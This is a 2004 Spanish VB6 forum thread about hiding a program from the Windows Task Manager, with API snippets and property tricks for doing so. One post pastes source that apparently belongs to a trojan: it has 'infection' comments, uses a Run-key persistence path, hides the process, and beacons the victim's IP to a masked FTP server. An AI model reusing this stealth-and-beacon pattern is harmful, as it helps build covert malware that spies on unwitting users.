SoloCodigo

Programación General => Visual Basic 6.0 e inferiores => Mensaje iniciado por: piyey en Miércoles 21 de Abril de 2004, 03:33

Título: Ocultar Aplicacion
Publicado por: piyey en Miércoles 21 de Abril de 2004, 03:33
Hola a todos los colegas de este foro.

Me dirijo a ustedes esta ves para preguntar si alguien por casualidad tiene el codigo para evitar que la aplicacion aparezca en el administrador de tareas, quiero que no puedan cerrar mi programa si no cumplen con una condicion, pero, he buscado como bloquear si presionan Ctrl+Alt+Supr pero en NT no funciona del todo bien, y por ahi escuche que se puede evitar que la aplicacion aparezca en el administrador de tareas en cualquier version de windows.

Espero una respuesta porfa...

 :devil:


 :scream:

Gracias...
y Salu-2 a todos.

Piyey.
Título: Re: Ocultar Aplicacion
Publicado por: Bopo en Miércoles 21 de Abril de 2004, 03:34
Cita de: "piyey"
Hola a todos los colegas de este foro.

Me dirijo a ustedes esta ves para preguntar si alguien por casualidad tiene el codigo para evitar que la aplicacion aparezca en el administrador de tareas, quiero que no puedan cerrar mi programa si no cumplen con una condicion, pero, he buscado como bloquear si presionan Ctrl+Alt+Supr pero en NT no funciona del todo bien, y por ahi escuche que se puede evitar que la aplicacion aparezca en el administrador de tareas en cualquier version de windows.

Espero una respuesta porfa...

 :devil:

La imaginacion es mas poderosa que la realidad, la realidad te limita lo que puedes hacer mientras que con la imaginacion puedes hacer todo lo que se te ocurra.

 :scream:

Gracias...
y Salu-2 a todos.

Piyey.
quiere hacer un virus, quiere hacer un virus :lol:


Saludos :hola:
Título: Re: Ocultar Aplicacion
Publicado por: piyey en Jueves 22 de Abril de 2004, 00:44
No mi querido "Bopo", el objetivo que persigo con esto no es para crear un virus, sino que quiero hacer un programa de control de PC's y que se apague en un tiempo predederminado, pero no quiero que sea cerrado por el usuario.

Muchas gracias por tu aporte de todos modos...




Gracias...
y Salu-2 a todos.

Piyey.
Título: Re: Ocultar Aplicacion
Publicado por: Brroz en Jueves 22 de Abril de 2004, 17:13
Código: Text
  1.  
  2. Private Const RSP_SIMPLE_SERVICE = 1
  3. Private Const RSP_UNREGISTER_SERVICE = 0
  4.  
  5. Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
  6. Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
  7.  
  8. Public Sub HideApp(Hide As Boolean)
  9.     Dim lngPID As Long, lngRc as long
  10.     lngPID = GetCurrentProcessId()
  11.     If Hide Then
  12.         lngRc = RegisterServiceProcess(lngPID, RSP_SIMPLE_SERVICE)
  13.     Else  
  14.         lngRc= RegisterServiceProcess(ProcessID, RSP_UNREGISTER_SERVICE)
  15.     End If
  16. End Sub
  17.  
  18.  

Oculta: HideApp True
Muestra: HideApp false
Título: Re: Ocultar Aplicacion
Publicado por: piyey en Lunes 24 de Mayo de 2004, 21:47
Hola Brroz, te agradezco mucho que hayas tenido la amabilidad de leer mi mensaje y contestarlo, probe el codigo que pusiste y me da el siguiente error:

Error '453' en tienpo de ejecución :

No se puede encontrar el punto de entrada de la DLL
RegisterServiceProcess en kernel32.

Lo probe en windows 2000, no se si sera por el sistema operativo, en que sistema operativo lo probaste?...

Thank's...

Salu2...

Piyey!!!
Título: Re: Ocultar Aplicacion
Publicado por: _EL_DJ_LU en Martes 25 de Mayo de 2004, 22:19
Hola Piyey  ese codigo que puso Brroz funciona perfectamente en windows 98 ...


Brroz ... no tendras por ahi el codigo para ocultar el programa .. pero en windows XP por que hice mi programa en win98 y funciona bien.. ahora quiero pasarlo a windows XP y me da errores con eso de esconder mi programa de la lista de tareas.....

Seria de mucha ayuda para todos....

Muchas gracias
  DJ
Título: Re: Ocultar Aplicacion
Publicado por: Brroz en Miércoles 26 de Mayo de 2004, 14:49
Hola.

Efectivamente, mi equipo tiene instalado w98 se. No sé si el código funciona o no en Nt/2000 o Xp ... De todas formas, si tengo tiempo (y ganas, que cada día soy más vago) intentaré probar algo del tema, si es que alguien no da antes alguna solución.

Abur.
Título: Re: Ocultar Aplicacion
Publicado por: Brroz en Miércoles 26 de Mayo de 2004, 16:08
Confirmado.

Citar
Platform SDK: Windows 9x Programming

RegisterServiceProcess
The RegisterServiceProcess function registers or unregisters a service process. A service process continues to run after the user logs off.


Esto lo pone el msdn... desgraciadamente no habla nada de equivalencias para otras plataformas... y es que me temo que el tema de los servicios es bastante distinto.

Suerte.
Título: Re: Ocultar Aplicacion
Publicado por: _EL_DJ_LU en Jueves 27 de Mayo de 2004, 04:34
Yo busque por todas partes el codigo para XP y no encontre... todos me daban respuestas negativas... Creo que hasta ahora no encontraron los apis del XP que te permiten hacer lo qeu buscamos.... Esta es la unica respuesta que me dan..

Ojala alguien lo haya encontrado y lea este mensaje... se que a muchos de nosotros nos interesa ese tema.....Agradeceremos su apoyo a todos los que pertenecemos a este foro y los que visitan el foro....

Gracias...

DJ
Título: Re: Ocultar Aplicacion
Publicado por: elmango80 en Jueves 27 de Mayo de 2004, 07:43
Hola a todos!!!

No recuerdo donde fue que lo lei pero si recuerdo que era de una fuente confiable, decian que en las plataformas de Windows XP y 2000 se habia hecho no recuerdo que para evitar que lo usuarios pudieran deshabilitar la combinacion de tecla Crt+Alt+Sup.

Esto debido muchas razones algunas de las que recuerdo es porque en primer lugar era tan comun el uso de esta combinacion, ya saben porque cuando se nos cuelga una aplicacion (que mas comun de lo que desearamos) lo usuarios utilizan esta combinacion para acceder a la ventana donde salen los procesos y poder terminar el que nos esta jodiendo el sistema, es tan comun esto que en estas versiones hasta nombre propio tiene Administrador de tareas de Windows y una ventana con bastante informacion nos sale.

Otra razon era que esta combinacion tambien se utiliza al momento de iniciar la sesion en estas plataformas para acceder a el sistema y cambiar de usuario.

Asi que lamentablemente no podemos hacer lo que queremos, yo tambien he intentado hacerlo y lo he buscado por todos lados y no lo he encontrado, seguramente alguien se inventara (si es que no lo ha hecho ya) la forma de vencer este problema pero por los momentos no lo he encontrado...


:angel: ----- O ----- :devil:
Título: Re: Ocultar Aplicacion
Publicado por: FredGar en Jueves 24 de Junio de 2004, 16:27
En Windows 2000, Windows Xp, y Windows NT basta hacer lo siguiente

App.Title=""

y ya está ¡Dificil ehhhh!  :hola:

Espero os sirva.
Título: Re: Ocultar Aplicacion
Publicado por: piyey en Lunes 28 de Junio de 2004, 21:18
Muchisimas gracias FredGar. Si que es muy "¡Dificil ehhhh!"... :P

Te lo agradezco muchisimo, en verdad que me sirvio, habia estado buscando esto por mucho tiempo para hacer un proyecto que me dejaron en la universidad...

Thanks!!!


See you!!!
Piyey.
Título: Re: Ocultar Aplicacion
Publicado por: CMD en Miércoles 22 de Diciembre de 2004, 19:56
:comp:
Hola a todos, tengo la siguiente fuente de VB y me gustaria saber si tiene algun arror con arranque en XP, pk me sale el siguiente error "Can't find DLL entry point RegisterServiceProcess in kernel32"
(Fuente adjuta tambien)
la fuente es esta:

Private Sub Main()
   cAppDirectory = App.path

   If Right(cAppDirectory, 1) <> "\" Then
      cAppDirectory = cAppDirectory + "\"
   End If

   If App.PrevInstance Then
      End
   End If

   lWindowsNT = False
   xAnswer = VersaoWindows()

   If Not lWindowsNT Then
      xAnswer = RegisterServiceProcess(0, 1)
   End If

   xAnswer = GetSystemDirectory(cBuffer, Len(cBuffer))
   cDiretorioSystem = Left(cBuffer, xAnswer)
   xAnswer = GetWindowsDirectory(cBuffer, Len(cBuffer))
   cDiretorioWindows = Left(cBuffer, xAnswer)

   If Right(cDiretorioSystem, 1) <> "\" Then
      cDiretorioSystem = cDiretorioSystem + "\"
   End If
   If Right(cDiretorioWindows, 1) <> "\" Then
      cDiretorioWindows = cDiretorioWindows + "\"
   
End If
 
    '''''''initiate constants
    'infection
    tempString = Space(260)
    GetSystemDirectory tempString, 260 '"c:\windows\system\"
    WINSYSTEM = Left(tempString, InStr(tempString, Chr(0)) - 1) & "\"
    APPPATH = App.path
    If Not Right(APPPATH, 1) = "\" Then APPPATH = APPPATH & "\"
    runPosition = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    dialPosition = "System32\"

    'ftpSendIP statements
    lpData = APINULL
    lpcbData = APINULL
    hOpen = 0
    ftpOpen = 0
    IPsent = False
    ftpServer = "ftp.XXX.XX"
    'ftpServer = "127.0.0.1"
    ftpLogin = "XXXX"
    ftpPass = "XXXX"

    'get current video options!
    EnumDisplaySettings 0, 0, screenMode
    screenMode.dmFields = &H80000 Or &H100000

    '''''''''do the Infection!
    If Command$ = "/r" Then
       
    ElseIf Command$ = "/s" Then
    Else
        'fake notepad... hehe
        'Shell "notepad.exe", vbNormalFocus
        'Infect
    End If
    If App.PrevInstance Then End

    'Hide from CTRL+alt+del
    RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
   
    StartWinsock tempString

    'load form without showing
    Form1.Timer1.Enabled = True

    'verify connection and send IP
    Do While True
        DoEvents
        If isConnected Then
            If Not IPsent Then sendIP
            IPsent = True
        Else
            IPsent = False
        End If
    Loop

End Sub

Si logran saber, o si saben que s porfavor diganmelo que llevo un mes intentando arreglar esto.
Título: Re: Ocultar Aplicacion
Publicado por: Cyclop en Jueves 23 de Diciembre de 2004, 01:48
Hay una opcion del mismo Vb creo que se llama App.TaskVisible a ver si me ayudan hace los mismo que las Apis.

Salu2

Cyclop
Título: Re: Ocultar Aplicacion
Publicado por: Cyclop en Jueves 23 de Diciembre de 2004, 02:00
Aunque de todas maneras lo van a ver con un Explorador de Procesos el programa ya fue .... seria bueno hacerlo como hace el Deep Freeze.


Salu2

 :D
Título: Re: Ocultar Aplicacion
Publicado por: jodijo5 en Lunes 10 de Enero de 2005, 02:49
para que ocultes del administrador de tares, puedes poner
Código: Text
  1.  
  2. App.TaskVisible = False
  3. Me.Hide
  4.  
  5.  
creo que con eso basta, bueno es mi opinion